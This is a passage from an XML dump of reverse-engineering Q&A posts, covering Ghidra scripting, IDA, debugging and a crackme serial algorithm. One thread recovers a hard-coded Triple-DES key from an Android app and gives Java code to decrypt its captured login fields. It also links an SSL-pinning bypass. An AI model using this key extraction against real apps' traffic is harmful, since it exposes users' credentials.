import BasicBlockModel&#xA;from ghidra.util.task import TaskMonitor&#xA;&#xA;def print_disassembly(block):&#xA;    listing = currentProgram.getListing()&#xA;    ins_iter = listing.getInstructions(block, True)&#xA;&#xA;    while ins_iter.hasNext():&#xA;        ins = ins_iter.next()&#xA;        print &quot;{} {}&quot;.format(ins.getAddressString(False, True), ins)&#xA;&#xA;bbm = BasicBlockModel(currentProgram)&#xA;blocks = bbm.getCodeBlocks(TaskMonitor.DUMMY)&#xA;block = blocks.next()&#xA;&#xA;while block:&#xA;    print_disassembly(block)&#xA;    block = blocks.next()&#xA;    print&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Output&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00409fcc lui gp,0xb&#xA;00409fd0 addiu gp,gp,0x68b4&#xA;00409fd4 addu gp,gp,t9&#xA;00409fd8 addiu sp,sp,-0x20&#xA;00409fdc sw gp,0x10(sp)&#xA;00409fe0 sw ra,0x1c(sp)&#xA;00409fe4 sw gp,0x18(sp)&#xA;00409fe8 bal 0x00409ff0&#xA;00409fec _nop&#xA;&#xA;00409ff0 lui gp,0x4c&#xA;00409ff4 addiu gp,gp,0x880&#xA;00409ff8 lw t9,-0x7fe8(gp)&#xA;00409ffc nop&#xA;0040a000 addiu t9,t9,-0x5e80&#xA;0040a004 jalr t9&#xA;0040a008 _nop&#xA;0040a00c lw gp,0x10(sp)&#xA;0040a010 nop&#xA;0040a014 bal 0x0040a01c&#xA;0040a018 _nop&#xA;&#xA;&amp;lt;snip&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2020-03-20T21:37:43.560" LastActivityDate="2020-03-20T21:37:43.560" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23471" PostTypeId="1" AcceptedAnswerId="23485" CreationDate="2020-03-20T10:41:57.920" Score="3" ViewCount="589" Body="&lt;p&gt;can anyone explain the following code? is it possible to retrieve the encryption key?&#xA;I think the code was heavily obfuscated in addition to obfuscation, I can recognize it is using algorithms like &lt;strong&gt;DESEDE&lt;/strong&gt; with &lt;em&gt;CBC&lt;/em&gt; and &lt;em&gt;PKCS5Padding&lt;/em&gt; to encrypt http post traffic from the app. my question is does any one know how to retrieve the key here? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package c.e.a.a.g;&#xA;&#xA;import a.a;&#xA;import android.util.Base64;&#xA;import java.io.UnsupportedEncodingException;&#xA;import java.security.GeneralSecurityException;&#xA;import java.security.InvalidKeyException;&#xA;import java.security.MessageDigest;&#xA;import java.security.NoSuchAlgorithmException;&#xA;import java.util.Random;&#xA;import java.util.regex.Pattern;&#xA;import javax.crypto.BadPaddingException;&#xA;import javax.crypto.Cipher;&#xA;import javax.crypto.IllegalBlockSizeException;&#xA;import javax.crypto.NoSuchPaddingException;&#xA;import javax.crypto.spec.SecretKeySpec;&#xA;&#xA;public class b {&#xA;&#xA;    /* renamed from: a reason: collision with root package name */&#xA;    private static volatile b f4799a;&#xA;&#xA;    /* renamed from: b reason: collision with root package name */&#xA;    private byte[] f4800b = null;&#xA;&#xA;    /* renamed from: c reason: collision with root package name */&#xA;    private String f4801c;&#xA;&#xA;    private b() {&#xA;        try {&#xA;            this.f4801c = a.a(new byte[]{97, 110, 100, 95, 50, 51, 116, 107, 108, 35, 95, 97, 105, 116, 33}, new byte[]{75, 24, 109, 27, -24, -51, 22, -58, -44, -74, 21, 91, -88, 48, -52, -63, 69, -67, 71, 17, 116, 77, 70, -94, 41, 121, 20, 120, 8, 121, 33, 77});&#xA;        } catch (GeneralSecurityException e2) {&#xA;            e2.printStackTrace();&#xA;        }&#xA;        this.f4800b = e(this.f4801c);&#xA;    }&#xA;&#xA;    public static b a() {&#xA;        if (f4799a == null) {&#xA;            synchronized (b.class) {&#xA;                if (f4799a == null) {&#xA;                    f4799a = new b();&#xA;                }&#xA;            }&#xA;        }&#xA;        return f4799a;&#xA;    }&#xA;&#xA;    private final String c(String str) {&#xA;        try {&#xA;            Cipher instance = Cipher.getInstance(&quot;DESEDE/ECB/PKCS5Padding&quot;);&#xA;            instance.init(2, new SecretKeySpec(this.f4800b, &quot;DESede&quot;));&#xA;            return a(instance.doFinal(new a().a(str)));&#xA;        } catch (Exception e2) {&#xA;            e2.printStackTrace();&#xA;            return null;&#xA;        }&#xA;    }&#xA;&#xA;    private final String d(String str) {&#xA;        try {&#xA;            Cipher instance = Cipher.getInstance(&quot;DESEDE/ECB/PKCS5Padding&quot;);&#xA;            instance.init(1, new SecretKeySpec(this.f4800b, &quot;DESede&quot;));&#xA;            try {&#xA;                return Base64.encodeToString(instance.doFinal(str.getBytes()), 0);&#xA;            } catch (IllegalBlockSizeException e2) {&#xA;                e2.printStackTrace();&#xA;                return &quot;&quot;;&#xA;            } catch (BadPaddingException e3) {&#xA;                e3.printStackTrace();&#xA;                return &quot;&quot;;&#xA;            }&#xA;        } catch (NoSuchAlgorithmException e4) {&#xA;            e4.printStackTrace();&#xA;        } catch (NoSuchPaddingException e5) {&#xA;            e5.printStackTrace();&#xA;        } catch (InvalidKeyException e6) {&#xA;            e6.printStackTrace();&#xA;        }&#xA;    }&#xA;&#xA;    private final byte[] e(String str) {&#xA;        try {&#xA;            return MessageDigest.getInstance(&quot;MD5&quot;).digest(str.getBytes(&quot;UTF-8&quot;));&#xA;        } catch (NoSuchAlgorithmException e2) {&#xA;            e2.printStackTrace();&#xA;            return null;&#xA;        } catch (UnsupportedEncodingException e3) {&#xA;            e3.printStackTrace();&#xA;            return null;&#xA;        }&#xA;    }&#xA;&#xA;    public String b(String str) {&#xA;        StringBuilder sb = new StringBuilder();&#xA;        sb.append(str);&#xA;        sb.append(b());&#xA;        return d(sb.toString());&#xA;    }&#xA;&#xA;    private String b() {&#xA;        int nextInt = new Random().nextInt(999999);&#xA;        StringBuilder sb = new StringBuilder();&#xA;        sb.append(&quot;|&quot;);&#xA;        sb.append(nextInt);&#xA;        return sb.toString();&#xA;    }&#xA;&#xA;    public String a(String str) {&#xA;        return c(str).split(Pattern.quote(&quot;|&quot;))[0];&#xA;    }&#xA;&#xA;    public b(String str) {&#xA;        this.f4800b = e(str);&#xA;    }&#xA;&#xA;    private final String a(byte[] bArr) {&#xA;        StringBuffer stringBuffer = new StringBuffer();&#xA;        for (byte b2 : bArr) {&#xA;            stringBuffer.append((char) b2);&#xA;        }&#xA;        return stringBuffer.toString();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an example of encrypted http post request produced by this code is like following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;MobileUsersBE&quot;:{&quot;AppVersion&quot;:&quot;vB0gg8dKw8/ssTAXDUHLDw==\n&quot;,&quot;DeviceCode&quot;:&quot;NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFCjEu/IEjcEUYM4V6zswVc\n&quot;,&quot;DeviceType&quot;:&quot;android&quot;,&quot;GCMCellId&quot;:&quot;&quot;,&quot;Password&quot;:&quot;P4fM264BxQXhd3RQu5vk8w==\n&quot;,&quot;UserName&quot;:&quot;i2WZyhFJ9CZTx40Th83siw==\n&quot;},&quot;ServiceUsersBE&quot;:{&quot;AppVersion&quot;:&quot;ZA+PaD1HcAVZ384ENwEWBw==\n&quot;,&quot;DeviceCode&quot;:&quot;NUIDvs43seBumI3SU7Q1R/NWzO0ylo08jPjWcGUxZsFOFoCbYVotoPrT8YV4yEHL\n&quot;,&quot;DeviceType&quot;:&quot;android&quot;,&quot;Password&quot;:&quot;t1h6/ATZ26VA8nS+fcnvkv0wtPbV8onO\n&quot;,&quot;TransactionCode&quot;:&quot;vfTVe1PFdoFSMOdyYSxAI33cLtBw3z3uUrzOGlZJafQYzgg+Te+n/sDv/nyll3T2&quot;,&quot;UserName&quot;:&quot;N67a2TEuY68jsRadkP0JGrh64aKxVin1\n&quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31398" LastActivityDate="2020-03-21T10:42:55.320" Title="How can I retrieve the encryption key in this code?" Tags="|android|encryption|java|patch-reversing|apk|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23472" PostTypeId="2" ParentId="13622" CreationDate="2020-03-20T11:21:01.207" Score="2" Body="&lt;p&gt;Another blunt way that seemed to work for me on Catalina (note that this strips all attributes):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;xattr -cr /path/to/your/program.app&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31463" LastActivityDate="2020-03-20T11:21:01.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23473" PostTypeId="2" ParentId="23432" CreationDate="2020-03-20T13:05:28.470" Score="-2" Body="&lt;p&gt;Have a look at this article :&#xA;&lt;a href=&quot;https://medium.com/@ved_wayal/hail-frida-the-universal-ssl-pinning-bypass-for-android-e9e1d733d29&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://medium.com/@ved_wayal/hail-frida-the-universal-ssl-pinning-bypass-for-android-e9e1d733d29&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31464" LastActivityDate="2020-03-20T13:05:28.470" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23476" PostTypeId="2" ParentId="23469" CreationDate="2020-03-20T15:14:45.933" Score="4" Body="&lt;p&gt;0xec has answered you but if you are interested in functions you can iterate as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#TODO Lists Functions in a given program&#xA;#@author  blabb&#xA;#@category _NEW_&#xA;&#xA;funcs = currentProgram.getFunctionManager().getFunctions(True)&#xA;f1 = funcs.next()&#xA;print(&quot;Function Name&quot;,f1.getName())&#xA;print(&quot;Function Body&quot; , f1.getBody())&#xA;print(&quot;Function Entry&quot; , f1.getEntryPoint())&#xA;print(&quot;Functions Calls&quot;,f1.getCalledFunctions(ghidra.util.task.TaskMonitor.DUMMY))&#xA;print(&quot;Function is Called From&quot;,f1.getCallingFunctions(ghidra.util.task.TaskMonitor.DUMMY))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will result in details  as below for the first function use hasnext() or while( next)  to &#xA;loop &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;functions.py&amp;gt; Running...&#xA;('Function Name', u'MmFreeIndependentPages')&#xA;&#xA;('Function Body', [[140001010, 140001172] [1401d4c1a, 1401d4c8c] ])&#xA;&#xA;('Function Entry', 140001010)&#xA;&#xA;('Functions Calls', [MiReturnPoolCharges, MiPteInShadowRange, memset, MiIsPfnFromSlabAllocation, &#xA;MiWritePteShadow,MI_READ_PTE_LOCK_FREE,MiLockAndDecrementShareCount,MiReleasePtes, MiPteHasShadow])&#xA;&#xA;('Function is Called From', [MmFreeIsrStack, FUN_14098fe9c, IopLiveDumpAllocateDumpBuffers, &#xA;IopLiveDumpWriteDumpFile, KiStartDynamicProcessor, IopLiveDumpWriteDumpFileWithHvPages,   &#xA;HvlDeleteProcessor,IopLiveDumpFreeDumpBuffers,ExDeletePoolTagTable, HvlStartBootLogicalProcessors,  &#xA;KeStartAllProcessors, HvlpInitializeHvCrashdump, IopLiveDumpReleaseResources])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-03-20T15:14:45.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23477" PostTypeId="2" ParentId="23469" CreationDate="2020-03-20T16:05:37.123" Score="5" Body="&lt;p&gt;@0xec's answer is great. This script will help you get blocks function wise.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from ghidra.program.model.block import BasicBlockModel&#xA;&#xA;blockiterator = BasicBlockModel(currentProgram).getCodeBlocks(monitor)&#xA;# dictionary contains function wise basic block information&#xA;functions = {}&#xA;&#xA;def add_block(function, block):&#xA;    if function not in functions:&#xA;         functions[function] = []&#xA;    functions[function].append(block)&#xA;&#xA;# For each block, look through the function list until we find a match&#xA;while blockiterator.hasNext():&#xA;    cur_block = blockiterator.next().getMinAddress()&#xA;    function = getFirstFunction()&#xA;    found = False&#xA;&#xA;    # Search functions until we find a match or run out of functions&#xA;    while function is not None:&#xA;        b = function.getBody()&#xA;        if b.contains(cur_block):&#xA;            add_block(function.getName(), cur_block)&#xA;            found=True&#xA;            break&#xA;&#xA;        # Update function to next and loop again&#xA;        function = getFunctionAfter(function)&#xA;&#xA;    # Done searching functions. If we never found it, add to unknown list&#xA;    if not found:&#xA;        add_block(&quot;_unknown&quot;, cur_block)&#xA;&#xA;print(functions)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2020-03-20T16:05:37.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23478" PostTypeId="1" CreationDate="2020-03-20T16:12:22.953" Score="1" ViewCount="136" Body="&lt;p&gt;I am using IDA Demo (evaluation version &gt;7). I have a binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdbool.h&amp;gt;&#xA;int do_decode(){}&#xA;int main()&#xA;{&#xA;  bool decode = false;&#xA;  char opt = getopt();&#xA;  switch (opt)&#xA;  {&#xA;    case 'd':&#xA;      decode =true;&#xA;      break;&#xA;    default:&#xA;      break;&#xA;  }&#xA;  if (decode) do_decode();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get variable information using IDA?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if debug information is available&lt;/li&gt;&#xA;&lt;li&gt;stripped and optimized&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I couldn't get variable type information in either case. For e.g. what I get from radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004004b9]&amp;gt; afv&#xA;var int64_t var_2h @ rbp-0x2&#xA;var uint32_t var_1h @ rbp-0x1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is far from perfect, but at least something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my IDA textview:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; =============== S U B R O U T I N E =======================================&#xA;.text:00000000004004B9&#xA;.text:00000000004004B9 ; Attributes: bp-based frame&#xA;.text:00000000004004B9&#xA;.text:00000000004004B9 ; int __fastcall main(int, char **, char **)&#xA;.text:00000000004004B9 main            proc near               ; DATA XREF: start+1D↑o&#xA;.text:00000000004004B9&#xA;.text:00000000004004B9 var_2           = byte ptr -2&#xA;.text:00000000004004B9 var_1           = byte ptr -1&#xA;.text:00000000004004B9&#xA;.text:00000000004004B9                 push    rbp&#xA;.text:00000000004004BA                 mov     rbp, rsp&#xA;.text:00000000004004BD                 sub     rsp, 10h&#xA;.text:00000000004004C1                 mov     [rbp+var_1], 0&#xA;.text:00000000004004C5                 mov     eax, 0&#xA;.text:00000000004004CA                 call    _getopt&#xA;.text:00000000004004CF                 mov     [rbp+var_2], al&#xA;.text:00000000004004D2                 movsx   eax, [rbp+var_2]&#xA;.text:00000000004004D6                 cmp     eax, 64h ; 'd'&#xA;.text:00000000004004D9                 jnz     short loc_4004E1&#xA;.text:00000000004004DB                 mov     [rbp+var_1], 1&#xA;.text:00000000004004DF                 jmp     short loc_4004E2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2020-03-21T16:04:18.573" LastActivityDate="2020-04-20T17:02:55.280" Title="is there any way to get type information using IDA Demo" Tags="|ida|type-reconstruction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23479" PostTypeId="1" CreationDate="2020-03-20T17:42:26.447" Score="2" ViewCount="276" Body="&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;&#xA;int handle_exception (EXCEPTION_POINTERS *exception_pointers) {&#xA;    exception_pointers-&amp;gt;ContextRecord-&amp;gt;Rip += 4;&#xA;    return EXCEPTION_CONTINUE_EXECUTION;&#xA;}&#xA;&#xA;int main () {&#xA;    __try {&#xA;        int number = 0;&#xA;&#xA;        number = 1 / number; // generate EXCEPTION_INT_DIVIDE_BY_ZERO&#xA;    }&#xA;    __except (handle_exception(GetExceptionInformation())) { }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I built the source code, and I open it by x64dbg. And set hardware breakpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6vf9y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6vf9y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An exception occurs on IDIV instruction, and run the debuggee. It always stops on a instruction after next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Otdhk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Otdhk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mv6yW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mv6yW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expected it to stop at 0x0000000140001056 address because it's where 4bytes away from RIP. But it isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there's something I don't know under the hood. Just out of curiosity, why does it work like that? If you have a chance, please let me know. thanks. :D&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Additional Attachments&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When RIP is modified in handle_exception()&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;new RIP of NtContinue()'s ThreadContext parameter is 0x0000000140001056.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Wds2C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wds2C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When RIP isn't modified in handle_exception()&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RIP of NtContinue()'s ThreadContext parameter is 0x0000000140001032.&#xA;(overall, addresses have been changed, because a sourc code has been changed too. That's IDIV instruction's address.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Zta2N.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zta2N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31467" LastEditorUserId="31467" LastEditDate="2020-03-21T21:00:04.070" LastActivityDate="2020-03-21T21:50:24.090" Title="I can't set a hardware breakpoint on RIP + N-byte after calling NtContinue()" Tags="|windows|c++|x64dbg|exception|seh|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23480" PostTypeId="1" AcceptedAnswerId="23482" CreationDate="2020-03-21T00:56:39.630" Score="0" ViewCount="88" Body="&lt;p&gt;&lt;strong&gt;I'm trying to solve this challenge but I can't understand the algorithm.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it takes the name and generate the serial with this algoritm&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private int Encrypt(string Input)&#xA;        {&#xA;            int num = 0;&#xA;            checked&#xA;            {&#xA;                int num2 = Input.Length - 1;&#xA;                int num3 = num;&#xA;                int num6;&#xA;                for (;;)&#xA;                {&#xA;                    int num4 = num3;&#xA;                    int num5 = num2;&#xA;                    if (num4 &amp;gt; num5)&#xA;                    {&#xA;                        break;&#xA;                    }&#xA;                    char @string = Conversions.ToChar(Input.Substring(num3));&#xA;                    num6 = (int)Math.Round(unchecked(Conversions.ToDouble(Conversion.Oct(Strings.Asc(Conversions.ToString(num6))) + Conversion.Oct(Strings.Asc(@string))) + 666.0));&#xA;                    num3++;&#xA;                }&#xA;                return num6;&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;for example, I entered 'A' and calculated serial as shown:&lt;/strong&gt;&#xA;num6 = octal + octal + decimal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;‘A’ = 65 = 101 in octal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;666 = 1232 in octal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;num6 = 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;num6: &#xA;Octal = 0 + 101 + 1232 = 1333&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decimal = 731&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the output is : 60767&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How?&lt;/p&gt;&#xA;" OwnerUserId="31473" LastEditorUserId="31473" LastEditDate="2020-03-21T06:46:30.240" LastActivityDate="2020-03-21T09:29:28.377" Title="I can't understand this algorithm" Tags="|.net|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23481" PostTypeId="1" AcceptedAnswerId="23489" CreationDate="2020-03-21T01:01:07.017" Score="2" ViewCount="282" Body="&lt;p&gt;I need to see how a DLL was written and I am using a x32dbg to do it at run-time. I am a newbie to this reversing stuff, so I am confused with this piece of code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp                          ; DllMain entry point&#xA;mov     ebp, esp&#xA;add     esp, FFFFFFBC&#xA;xor     eax, eax&#xA;mov     dword ptr ss:[ebp-44], eax&#xA;mov     eax, module.8BC3980&#xA;call    module.8BB8D54&#xA;xor     eax, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Wikipedia says the following about function prologues:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A function prologue typically does the following actions if the architecture has a base pointer (also known as frame pointer) and a stack pointer:&lt;/p&gt;&#xA;&lt;p&gt;Pushes current base pointer onto the stack, so it can be restored later.&lt;/p&gt;&#xA;&lt;p&gt;Assigns the value of stack pointer (which is pointed to the saved base pointer) to base pointer so that a new stack frame will be created on top of the old stack frame.&lt;/p&gt;&#xA;&lt;p&gt;Moves the stack pointer further by decreasing or increasing its value, depending on whether the stack grows down or up. On x86, the stack pointer is decreased to make room for the function's local variables.&lt;/p&gt;&#xA;&lt;p&gt;[...]&lt;/p&gt;&#xA;&lt;p&gt;As an example, here′s a typical x86 assembly language function prologue as produced by the GCC&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push   ebp&#xA;mov    ebp, esp&#xA;sub    esp, N&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But I have encountered an &lt;code&gt;add esp, N&lt;/code&gt; directive which adds a huge number to &lt;code&gt;esp&lt;/code&gt; register. It seems something is wrong here, what should I understand from the code exactly?&lt;/p&gt;&#xA;&lt;p&gt;And the second question is about &lt;code&gt;mov dword ptr ss:[ebp-44], eax&lt;/code&gt; directive. Why it is 44 that is subtracted from &lt;code&gt;ebp&lt;/code&gt; address (11 ints!) and what does the &lt;code&gt;ss&lt;/code&gt; item here?&lt;/p&gt;&#xA;&lt;p&gt;PS I suspect that the DLL is written in Delphi, but not 100% sure.&lt;/p&gt;&#xA;" OwnerUserId="31472" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-03-21T17:26:59.817" Title="Function Prologue, add esp directive" Tags="|dll|x64dbg|delphi|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23482" PostTypeId="2" ParentId="23480" CreationDate="2020-03-21T09:29:28.377" Score="1" Body="&lt;p&gt;You have missed a couple of things.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;num6 isn't used directly - it's first converted to a string and then the ascii code is used&lt;/li&gt;&#xA;&lt;li&gt;the first addition isn't an addition - it's a string concatenation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In cases like this where there are so many conversions going on, you really need to break it down and take it step at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;First Part&#xA;&#xA;    Conversion.Oct(Strings.Asc(Conversions.ToString(num6)))&#xA;        = Conversion.Oct(Strings.Asc(Conversions.ToString(0)))&#xA;        = Conversion.Oct(Strings.Asc(&quot;0&quot;))&#xA;        = Conversion.Oct(48)&#xA;        = &quot;60&quot;&#xA;&#xA;Second Part&#xA;&#xA;    Conversion.Oct(Strings.Asc(@string))&#xA;        = Conversion.Oct(Strings.Asc('A'))&#xA;        = Conversion.Oct(65)&#xA;        = &quot;101&quot;&#xA;&#xA;Putting it together&#xA;&#xA;    Conversions.ToDouble(&quot;60&quot;+ &quot;101&quot;) + 666&#xA;        = Conversions.ToDouble( &quot;60101&quot;) + 666&#xA;        = 60101 + 666&#xA;        = 60767&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, just paste the code into a simple C#/VB console application and run it to see what happens.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2020-03-21T09:29:28.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23483" PostTypeId="2" ParentId="23478" CreationDate="2020-03-21T09:41:42.563" Score="1" Body="&lt;pre&gt;&lt;code&gt;.text:00000000004004B9 opt             = byte ptr -2&#xA;.text:00000000004004B9 decode          = byte ptr -1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;^ Isn't that part what you're looking for?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var int64_t var_2h @ rbp-0x2&#xA;var uint32_t var_1h @ rbp-0x1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, IDA correctly detected that those local variables only occupy one byte each, whereas radare2 thought there are 64 and 32-bit integers (even though their offset on the stack differs by only one byte).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also get this information programatically, but unfortunately IDAPython is not available in the evaluation version.&lt;/p&gt;&#xA;" OwnerUserId="31409" LastActivityDate="2020-03-21T09:41:42.563" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="23484" PostTypeId="2" ParentId="23481" CreationDate="2020-03-21T09:43:40.160" Score="1" Body="&lt;p&gt;you should normally take a pencil and paper and try solving it &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ill use python here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; ebp = 0x1000&#xA;&amp;gt;&amp;gt;&amp;gt; esp = ebp&#xA;&amp;gt;&amp;gt;&amp;gt; esp = ( esp + 0xffffffbc )&amp;amp; 0xffffffff&#xA;&amp;gt;&amp;gt;&amp;gt; print(hex(esp),hex(ebp-0x44))&#xA;0xfbc 0xfbc&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will write 0 to the Address 0xfbc if ebp were 0x1000 to start with &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-03-21T09:43:40.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23485" PostTypeId="2" ParentId="23471" CreationDate="2020-03-21T10:42:55.320" Score="3" Body="&lt;p&gt;The encryption key is stored in the variable &lt;code&gt;f4800b&lt;/code&gt;. It comes out to the following byte array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;43, 57, 97, -68, -63, -61, -40, 9, 50, 87, -104, 101, 63, 34, -78, 60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The cipher algorithm used is Triple-DES in ECB mode. It can be decrypted by the following snippet. Note that it requires the BouncyCastle Crypto provider for Java.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import java.security.*;&#xA;import java.util.Base64;&#xA;import javax.crypto.Cipher;&#xA;import javax.crypto.spec.SecretKeySpec;&#xA;import org.bouncycastle.jce.provider.BouncyCastleProvider;&#xA;&#xA;public class Main&#xA;{&#xA;    public static void main(String args[]) throws Exception&#xA;    {&#xA;        Security.addProvider(new BouncyCastleProvider());&#xA;        byte key[] = new byte[] {43, 57, 97, -68, -63, -61, -40, 9, 50, 87, -104, 101, 63, 34, -78, 60};&#xA;&#xA;        //Base64 encoded cipher text here&#xA;        byte ct[] = Base64.getDecoder().decode(&quot;i2WZyhFJ9CZTx40Th83siw==&quot;);&#xA;&#xA;        Cipher instance = Cipher.getInstance(&quot;DESEDE/ECB/PKCS5Padding&quot;);&#xA;        instance.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, &quot;DESede&quot;));&#xA;        